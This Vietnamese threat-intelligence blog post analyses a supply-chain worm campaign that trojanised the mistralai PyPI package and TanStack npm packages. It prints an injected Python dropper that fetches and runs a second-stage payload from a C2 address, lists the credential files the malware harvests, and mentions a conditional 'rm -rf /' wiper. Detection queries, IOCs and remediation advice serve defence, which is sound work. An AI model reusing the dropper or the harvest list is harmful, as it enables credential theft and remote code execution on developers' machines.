Skip to main content

Command Palette

Search for a command to run...

Mini Shai-Hulud: Khi Package Mistral AI Trên PyPI Trở Thành Vũ Khí Tấn Công Chuỗi Cung Ứng

Updated
15 min read
Mini Shai-Hulud: Khi Package Mistral AI Trên PyPI Trở Thành Vũ Khí Tấn Công Chuỗi Cung Ứng

Tổng quan

Ngày 11/05/2026, nhóm tấn công TeamPCP phát động chiến dịch "Mini Shai-Hulud" nhắm vào hệ sinh thái npm và PyPI. Trong vòng 5 giờ, hơn 404 phiên bản độc hại được publish trên 172 package, bao gồm thư viện Python chính thức của Mistral AI (mistralai==2.4.6), TanStack, UiPath, Guardrails AI và OpenSearch.

Điểm kỹ thuật nguy hiểm nhất của chiến dịch này: đây là lần đầu tiên trong lịch sử được ghi nhận khi malware vượt qua được mô hình tin cậy SLSA Build Level 3 bằng cách hijack trực tiếp pipeline build hợp lệ, thay vì tấn công artifact sau khi build xong. Các package độc hại mang đầy đủ chữ ký provenance từ Sigstore, khiến chúng qua được toàn bộ lớp kiểm tra cryptographic tiêu chuẩn.

Malware nhắm vào developer credentials: GitHub token, AWS/GCP/Azure key, SSH private key, Kubernetes config, và cả vault manager như 1Password, Bitwarden. Đối tượng bị ảnh hưởng chủ yếu là kỹ sư AI/ML, DevOps, và cloud developer tại các tổ chức dùng các thư viện nêu trên trong pipeline tự động.

Mistral AI xác nhận core infrastructure không bị xâm phạm. Hành động cần làm ngay: kiểm tra môi trường CI/CD có cài mistralai==2.4.6, guardrails-ai==0.10.1 hoặc các package @tanstack trong khoảng thời gian 11-12/05/2026, và rotate toàn bộ credentials liên quan.


Bối cảnh: Shai-Hulud không phải cái tên mới

Cái tên Shai-Hulud được lấy từ loài sâu khổng lồ Arrakis trong tiểu thuyết Dune. Điều đó không phải tình cờ, TeamPCP chủ ý chọn tên này, và các nhánh GitHub commit cũng mang tên các nhân vật trong vũ trụ Dune, một thói quen đặt tên đã giúp researcher nhận dạng các chiến dịch liên tiếp của nhóm này.

Lịch sử của Shai-Hulud bắt đầu từ tháng 9/2025, khi Palo Alto Networks Unit 42 lần đầu ghi nhận một npm worm tự nhân bản, đánh cắp credentials và lan rộng qua automated exfiltration. Tháng 11/2025, biến thể Shai-Hulud 2.0 xuất hiện với cơ chế propagation tinh vi hơn: worm đọc chính payload của mình để nhân bản vào các package mới phát hiện, loại bỏ hoàn toàn sự phụ thuộc vào C2 server trong quá trình lây lan.

TeamPCP không dừng lại ở đó. Tháng 4/2026, nhóm này backdoor Bitwarden CLI npm package (một công cụ quản lý credential được hàng triệu developer tin dùng), theo ghi nhận từ Snyk. Chuỗi hành động cho thấy một chiến lược rõ ràng: ưu tiên nhắm vào các package có quyền truy cập cao, được cài trong môi trường CI/CD, nơi credential của tổ chức được lưu trữ và sử dụng theo chu kỳ tự động.

Mini Shai-Hulud là làn sóng thứ tư, và theo chính branding của TeamPCP, cái tên "Mini" là sự đùa cợt có chủ ý. Về mọi tiêu chí đánh giá thực tế, đây là biến thể destructive nhất từ trước đến nay.

Mốc thời gian Sự kiện
Tháng 9/2025 Shai-Hulud v1 xuất hiện, Unit 42 phát hiện và báo cáo
Tháng 11/2025 Shai-Hulud 2.0 backdoor 796 npm packages, 20M+ weekly downloads
Tháng 1/2026 Sự cố Trust Wallet liên quan, thiệt hại $8.5M
Tháng 3/2026 TeamPCP compromise Aqua Security Trivy scanner
Tháng 4/2026 Bitwarden CLI npm package bị backdoor
29/4/2026 Mini Shai-Hulud bắt đầu giai đoạn đầu
11/5/2026 Tấn công chính: 84 malicious artifacts trên @tanstack trong 6 phút
11/5/2026 Lan rộng sang Mistral AI, UiPath, Guardrails AI, OpenSearch
12/5/2026 TeamPCP open-source toàn bộ worm source code lên GitHub
12/5/2026 Microsoft Threat Intelligence công bố điều tra mistralai==2.4.6
18/5/2026 Chiến dịch Megalodon Wave 2: 5,718 malicious commits đến 5,561 GitHub repos

Thông tin chiến dịch

Thuộc tính Chi tiết
Threat actor TeamPCP
Thời gian 29/4/2026 đến hiện tại (Mini Shai-Hulud Wave 1: 29/4 – 12/5)
Loại tấn công Software supply chain, credential theft, self-propagating worm
Target sector AI/ML developer, DevOps, cloud engineering
Target region Toàn cầu (geofenced exclusion cho Russian language settings)
Công cụ chính Shai-Hulud worm, transformers.pyz payload, OIDC token extractor
C2 infrastructure 83[.]142[.]209[.]194, git-tanstack[.]com, filev2.getsession.org
CVE liên quan CVE-2026-45321 (CVSS 9.6, TanStack GitHub Actions chain)
Nguồn phát hiện Microsoft Threat Intelligence, StepSecurity, SafeDep, Endor Labs, Wiz

Attack chain chi tiết

Giai đoạn 1: Chiếm quyền kiểm soát pipeline TanStack (Initial Access)

TeamPCP không tấn công trực tiếp vào package. Nhóm này tấn công vào pipeline build. Đây là điểm khác biệt cốt lõi so với các chiến dịch supply chain trước đây.

Kỹ thuật khai thác kết hợp ba điểm yếu trong GitHub Actions theo chuỗi, được đặt mã CVE-2026-45321 (CVSS 9.6):

Đầu tiên là trigger pull_request_target. Khi được cấu hình không đúng, trigger này chạy với write permissions ngay cả khi pull request đến từ một fork bên ngoài. TeamPCP submit pull request từ tài khoản kiểm soát để kích hoạt workflow với quyền cao.

Kế tiếp là GitHub Actions cache poisoning. Attacker inject dependency độc hại vào cache của build environment. Khi legitimate maintainer merge pull request của họ, workflow restore lại cache đã bị nhiễm, đưa attacker-controlled code vào trong build environment hợp lệ.

Điểm then chốt cuối cùng là OIDC token extraction từ runner process memory. Từ bên trong build environment, worm đọc trực tiếp live OIDC token từ memory của GitHub Actions runner. Token này được trao đổi với Sigstore để lấy certificate ký artifact, cho phép publish package với SLSA Build Level 3 provenance attestation hoàn toàn hợp lệ.

Kết quả: 84 malicious artifacts trên 42 @tanstack packages được publish trong 6 phút từ 19:20 đến 19:26 UTC ngày 11/5/2026. Tất cả đều mang chữ ký cryptographic hợp lệ, qua được mọi lớp kiểm tra provenance tiêu chuẩn.

Giai đoạn 2: Self-propagation sang Mistral AI và PyPI (Lateral Movement)

Sau khi xâm nhập TanStack, worm tự nhân bản theo cơ chế tương tự sang các package trong môi trường bị nhiễm. Trong vòng 48 giờ, 172 package npm và 2 package PyPI bị compromise, bao gồm toàn bộ Mistral AI SDK trên cả npm và PyPI.

Trên PyPI, kỹ thuật tấn công khác biệt một chút: thay vì OIDC hijack, TeamPCP inject code trực tiếp vào mistralai/client/__init__.py của package. Đây là dropper được thiết kế để thực thi ngay lập tức khi developer import mistralai.

# Code injection trong mistralai/client/__init__.py
# Malicious code thực thi khi import
# Download second-stage payload
import urllib.request, os, subprocess
urllib.request.urlretrieve(
    "https://83[.]142[.]209[.]194/transformers.pyz",
    "/tmp/transformers.pyz"
)
# Launch second-stage silently
subprocess.Popen(
    ["python", "/tmp/transformers.pyz"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL
)

Tên file transformers.pyz được chọn có chủ ý để trông giống thư viện Hugging Face Transformers hợp lệ. Malware chỉ hoạt động trên Linux, đây là quyết định kỹ thuật hợp lý vì Linux là OS chủ đạo của server, cloud environment và AI workload.

Ngoài ra, theo ghi nhận từ SafeDep, package cũng lan sang guardrails-ai==0.10.1 với cùng cơ chế __init__.py injection, download cùng payload từ domain typosquat git-tanstack[.]com.

Giai đoạn 3: Credential harvesting (Collection & Exfiltration)

Payload transformers.pyz nặng 2.3 MB, bị obfuscate nhiều lớp. Sau khi được phân tích bởi Wiz Research, danh sách mục tiêu bao gồm:

# Cloud credentials
~/.aws/credentials, ~/.aws/config
# GCP Application Default Credentials
~/.config/gcloud/application_default_credentials.json
# Azure CLI
~/.azure/accessTokens.json
# Kubernetes
~/.kube/config

# Developer credentials
~/.ssh/ (toàn bộ private keys)
~/.npmrc (publish token)
~/.netrc
# GitHub CLI
~/.config/gh/hosts.yml

# Password managers
1Password vault data
~/.config/Bitwarden/ 

# Source code secrets
.env files (sweep đệ quy từ home directory)
bash_history

# AI coding tools (persistence targets)
Claude Code extension config
VS Code extension storage

Exfiltration sử dụng ba kênh song song để đảm bảo dữ liệu được gửi về ngay cả khi một kênh bị block:

Kênh thứ nhất là HTTP POST đến C2 server tại 83[.]142[.]209[.]194. Kênh thứ hai là Session messenger network (decentralized, khó block bằng domain blocklist). Kênh thứ ba là GitHub repositories với tên mang chủ đề Dune được tạo bằng stolen tokens.

Giai đoạn 4: Persistence và geofencing logic (Defense Evasion)

Payload cài persistence hook vào Claude Code và VS Code, thiết kế để survive reboot. Đây là lựa chọn target thú vị vì các AI coding tool này thường được cài với quyền cao và có access đến codebase của toàn tổ chức.

Hai điều kiện geofencing đáng chú ý:

Payload tự tắt nếu phát hiện Russian language settings trong OS. Với hệ thống geolocation về Israel hoặc Iran, malware có xác suất 1/6 để thực thi rm -rf /, xóa toàn bộ filesystem. Đây không phải ransomware hay sabotage thông thường. Đây là wiper với logic địa chính trị, một đặc điểm hiếm thấy ở nhóm financially motivated.


Phân tích kỹ thuật: Tại sao SLSA Build Level 3 thất bại

SLSA (Supply-chain Levels for Software Artifacts) là framework được Google và nhiều tổ chức lớn thiết kế để bảo vệ chuỗi cung ứng phần mềm. Build Level 3 yêu cầu build diễn ra trên infrastructure cô lập, không thể bị tác động từ bên ngoài, và artifact phải có chữ ký cryptographic chứng minh nguồn gốc.

Vấn đề cốt lõi mà Mini Shai-Hulud phơi bày: SLSA chứng minh cách artifact được build, không chứng minh code nào được đưa vào build. Khi TeamPCP hijack pipeline từ bên trong bằng cache poisoning, họ không cần break bất kỳ cryptographic guarantee nào. Toàn bộ pipeline vẫn chạy đúng quy trình, ký artifact đúng cách, chỉ là code được đưa vào đã bị substituted.

Theo phân tích từ Cloud Security Alliance, đây là lần đầu tiên kỹ thuật này được documented ở quy mô lớn: "SLSA does not, and cannot, attest that the code submitted to the pipeline was safe; it attests only to the integrity of the build process."

Kết luận thực tiễn: npm audit signatures trả về "clean" không có nghĩa package an toàn trong tình huống này. Provenance attestation cần được kết hợp với behavioral analysis của dependency.


MITRE ATT&CK Mapping

Tactic Technique ID Technique Name Triển khai trong chiến dịch
Initial Access T1195.002 Compromise Software Supply Chain Hijack TanStack CI/CD pipeline qua OIDC token theft, publish malicious versions mang SLSA BL3 attestation
Execution T1059.006 Python __init__.py injection tự thực thi khi developer import mistralai
Persistence T1546 Event Triggered Execution Hook vào Claude Code và VS Code, survive reboot
Defense Evasion T1036.005 Match Legitimate Name or Location Payload được đặt tên transformers.pyz giả Hugging Face Transformers
Defense Evasion T1027 Obfuscated Files or Information Payload 2.3 MB bị obfuscate nhiều lớp
Defense Evasion T1553.002 Code Signing Sử dụng legitimate Sigstore stack với OIDC token bị đánh cắp để ký artifact
Credential Access T1552.001 Credentials In Files Thu thập .aws/credentials, .kube/config, .npmrc, .env, SSH keys
Credential Access T1555 Credentials from Password Stores Target 1Password và Bitwarden vault
Collection T1005 Data from Local System Sweep hơn 100 file path theo danh sách hardcode
Exfiltration T1041 Exfiltration Over C2 Channel Ba kênh: HTTP, Session messenger, GitHub dead-drop repos
Impact T1485 Data Destruction rm -rf / có xác suất 1/6 trên hệ thống geolocate về Israel/Iran

Detection

Tìm kiếm package bị nhiễm trong môi trường

# Kiểm tra pip
pip show mistralai | grep Version
# Version 2.4.6 là compromised

# Kiểm tra npm
npm ls @tanstack/react-router 2>/dev/null
npm ls guardrails-ai 2>/dev/null

# Kiểm tra lock file
grep -E "mistralai.*2\.4\.6" poetry.lock requirements*.txt pip-requirements*.txt

Splunk: Phát hiện network beaconing đến C2 đã biết

index=network sourcetype=pan:traffic OR sourcetype=fw:log
| where dest_ip IN ("83.142.209.194", "216.126.225.129")
   OR dest_domain IN ("git-tanstack.com", "filev2.getsession.org", "api.masscan.cloud")
| stats count, values(src_ip), values(user) by dest_ip, dest_domain, dest_port
| sort -count

Splunk: Phát hiện file download đến /tmp với tên transformer

index=linux sourcetype=linux_audit OR sourcetype=bash_history
| search command="*transformers.pyz*" OR path="*/tmp/transformers*"
| eval risk="HIGH - Shai-Hulud second-stage payload"
| table _time, host, user, command, path, risk

Splunk: Phát hiện persistence hook trong VS Code / Claude Code extension

index=endpoint sourcetype=XmlWinEventLog OR sourcetype=linux_audit
| search (
    file_path="*/.vscode/extensions/*" OR
    file_path="*/.claude*" OR
    file_path="*/Code/User/globalStorage/*"
  )
  AND (event_type="file_create" OR event_type="file_modify")
  AND NOT user IN ("known-dev-accounts")
| stats count by host, user, file_path, _time

GitHub Actions: Phát hiện dấu hiệu Megalodon wave (nếu bạn quản lý repo)

# Tìm workflow mới được thêm với trigger suspicious
git log --all --oneline --diff-filter=A -- '.github/workflows/*.yml' \
  | grep -E "(2026-04|2026-05)"

# Tìm commit từ account pattern của Megalodon
git log --format="%an %ae %s" | \
  grep -E "(build-bot|auto-ci|ci-bot|pipeline-bot)@"

# Kiểm tra workflow request id-token: write mà không có deployment use case
grep -r "id-token: write" .github/workflows/

IOC để block/hunt

# IP (defanged)
83[.]142[.]209[.]194       # Primary C2 / payload delivery
216[.]126[.]225[.]129      # Megalodon C2 (port 8443)

# Domain (defanged)
git-tanstack[.]com         # Typosquat, payload download, data exfil
filev2[.]getsession[.]org  # Session messenger exfil endpoint
api[.]masscan[.]cloud      # Scanning infrastructure

# File artifact
/tmp/transformers.pyz      # Second-stage payload (Linux)

# Package versions cụ thể (cần remove/downgrade)
mistralai==2.4.6
guardrails-ai==0.10.1
@tanstack/* (versions published 2026-05-11T19:20 – 19:26 UTC)

Nhận định

Cái làm cho Mini Shai-Hulud khác với các chiến dịch supply chain trước không phải scale, mặc dù 518 triệu weekly downloads là con số đáng lo. Điều đáng lo hơn là kỹ thuật SLSA bypass vừa được validated ở quy mô lớn, và sau đó được TeamPCP open-source ngày 12/5/2026.

Trước đây, SLSA Build Level 3 được nhiều tổ chức coi như "đủ" để trust một package. Sau Mini Shai-Hulud, assumption đó không còn đúng. Không phải vì SLSA bị broken theo nghĩa cryptographic, mà vì model trust của nó không bao phủ trường hợp build pipeline bị compromise từ bên trong. Đây là sự phân biệt tinh tế nhưng có hệ quả lớn cho cách các tổ chức thiết kế supply chain verification.

Với bối cảnh Việt Nam, rủi ro trực tiếp nhất là với các nhóm DevOps và AI/ML team đang dùng Mistral AI SDK hoặc TanStack trong CI/CD pipeline. Môi trường có mistralai hoặc guardrails-ai trong requirements.txt và chạy automated pip install mà không pin digest hash là điểm yếu cần xem xét ngay.

Nhìn rộng hơn, chiến dịch này là dấu hiệu của một hướng đi mới: attacker không còn cần break authentication của package registry. Họ hijack pipeline của chính maintainer để publish thay cho maintainer. Kỹ thuật này không đặc trưng cho npm hay PyPI, nó applicable với bất kỳ registry nào dùng GitHub Actions và trusted publishing. Đây là lý do CSA nhận định đây là "structural change in the threat landscape rather than a transient campaign event."


Khuyến nghị

Ngay lập tức (0-24h):

Nếu mistralai==2.4.6, guardrails-ai==0.10.1 hoặc bất kỳ package @tanstack nào được cài trên CI/CD pipeline từ 11-12/5/2026, xử lý môi trường đó như đã bị compromise:

  • Rotate toàn bộ AWS/GCP/Azure credentials, GitHub tokens, SSH keys từ môi trường bị ảnh hưởng
  • Revoke và re-issue Kubernetes service account credentials
  • Kiểm tra /tmp/transformers.pyz và các process đang chạy từ /tmp/
  • Block các IOC đã liệt kê ở firewall và DNS layer
  • Hunt trong SIEM theo các detection query nêu trên

Ngắn hạn (1-7 ngày):

Pin dependency bằng digest hash thay vì version tag trong requirements.txtpackage-lock.json:

# Thay vì
mistralai>=2.4.0

# Dùng
mistralai==2.5.0 --hash=sha256:[hash-của-version-sạch]

Audit GitHub Actions workflows trong repo tổ chức: tìm id-token: write không có documented justification, pull_request_target trigger với elevated permissions, và workflow mới được thêm sau tháng 4/2026 từ account không quen.

Dài hạn:

Bổ sung behavioral analysis song song với provenance verification. SLSA attestation không đủ standalone. Xem xét runtime sandboxing cho postinstall scripts của npm package và static scanning cho PyPI package trước khi đưa vào production environment.

Với tổ chức quản lý open-source package, cô lập signing step khỏi build environment là biện pháp quan trọng nhất. Bước ký artifact cần xảy ra trên infrastructure riêng biệt, với out-of-band approval, thay vì diễn ra tự động bên trong cùng runner với build.


Indicators of Compromise

# IP Address (defanged)
83[.]142[.]209[.]194        # C2 server / payload delivery (mistralai wave)
216[.]126[.]225[.]129:8443  # Megalodon C2 server (Wave 2)

# Domain (defanged)
git-tanstack[.]com           # Typosquat, payload C2, exfil channel
filev2[.]getsession[.]org    # Session messenger exfil
api[.]masscan[.]cloud        # Attacker scanning infrastructure

# File artifact
/tmp/transformers.pyz        # Second-stage Python payload (Linux)

# Network pattern
POST /transformers.pyz HTTP  # Initial payload download từ C2
Outbound kết nối port 8443   # Megalodon C2 channel

# Package versions bị nhiễm
mistralai==2.4.6             # PyPI, compromised 12/5/2026
guardrails-ai==0.10.1        # PyPI, compromised 12/5/2026
@tanstack/* (npm)            # Versions published 11/5/2026 19:20-19:26 UTC

# Host artifact (persistence)
Extension modification trong ~/.vscode/extensions/
Hook trong Claude Code config directory
Unexpected cron entries hoặc systemd service sau 11/5/2026

Nguồn tham khảo:

More from this blog

F

FPT IS Security

801 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.